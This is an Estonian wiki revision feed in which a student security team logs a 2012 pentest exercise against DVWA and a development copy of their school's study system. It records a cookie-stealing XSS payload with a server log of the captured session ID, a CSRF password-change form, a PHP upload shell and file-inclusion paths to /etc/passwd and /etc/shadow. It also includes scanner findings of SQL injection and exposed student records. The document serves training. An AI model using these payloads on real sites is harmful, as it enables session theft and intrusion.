Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
Alo Konno&amp;lt;br&amp;gt;&lt;br /&gt;
Urmo Lihten&amp;lt;br&amp;gt;&lt;br /&gt;
Taavi Podžuks&amp;lt;br&amp;gt;&lt;br /&gt;
Matis Alliksoo&amp;lt;br&amp;gt;&lt;br /&gt;
Sander Saarm&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47004</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47004"/>
		<updated>2012-03-30T09:27:56Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Security Team tegevusplaan */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidga tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]]&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&amp;lt;br&amp;gt;&lt;br /&gt;
1.1	Tutvuda OWASP’iga. &amp;lt;br&amp;gt;&lt;br /&gt;
1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&amp;lt;br&amp;gt;&lt;br /&gt;
1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&amp;lt;br&amp;gt;&lt;br /&gt;
2.	Päev&amp;lt;br&amp;gt;&lt;br /&gt;
2.1	Esitada tiimi tegevusplaan.&amp;lt;br&amp;gt;&lt;br /&gt;
2.2	Tutvuda turvariskidega natuke põhjalikumalt.&amp;lt;br&amp;gt;&lt;br /&gt;
2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&amp;lt;br&amp;gt;&lt;br /&gt;
2.4	Täiendada esimese päeva ettekannet.&amp;lt;br&amp;gt;&lt;br /&gt;
3.	Päev&amp;lt;br&amp;gt;&lt;br /&gt;
3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&amp;lt;br&amp;gt;&lt;br /&gt;
3.2	Saadud tulemuste dokumenteerimine.&amp;lt;br&amp;gt;&lt;br /&gt;
4.	Päev&amp;lt;br&amp;gt;&lt;br /&gt;
4.1	Saadud tulemuste esitlemine ettekandega&amp;lt;br&amp;gt;&lt;br /&gt;
5.	Päev&amp;lt;br&amp;gt;&lt;br /&gt;
5.1	Tulemuste parandamine wiki’s.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
&lt;br /&gt;
http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
http://www.isecom.org/research.html&lt;br /&gt;
http://evuln.com/tools/&lt;br /&gt;
http://sectools.org/tag/web-scanners/&lt;br /&gt;
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
Cross-Site Scripting (XSS)&lt;br /&gt;
SQL Injection (blind test)&lt;br /&gt;
File inclusion&lt;br /&gt;
Code Execution&lt;br /&gt;
LDAP Injection&lt;br /&gt;
Cross Frame Scripting&lt;br /&gt;
SQL Injection (error msg. test)&lt;br /&gt;
CRLF Injection&lt;br /&gt;
Directory Travelsal&lt;br /&gt;
XPath Injection&lt;br /&gt;
URL Redirection&lt;br /&gt;
Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev ==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
Lihtsalt url modifitseerimisega leidsime mittekaitstud lingi:&lt;br /&gt;
&lt;br /&gt;
Õppesoorituste all on võimalik laadida alla kõikide kasutajate õpingukaardid (lihtsalt tuleb otsida üles soovitud kasutaja student_id)&lt;br /&gt;
Arvete alt peaks ka võimalik sama viga ära kasutada, aga kuna ühtegi arvet hetkel süsteemis polnud ei olnud võimalik seda viga kinnitada.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
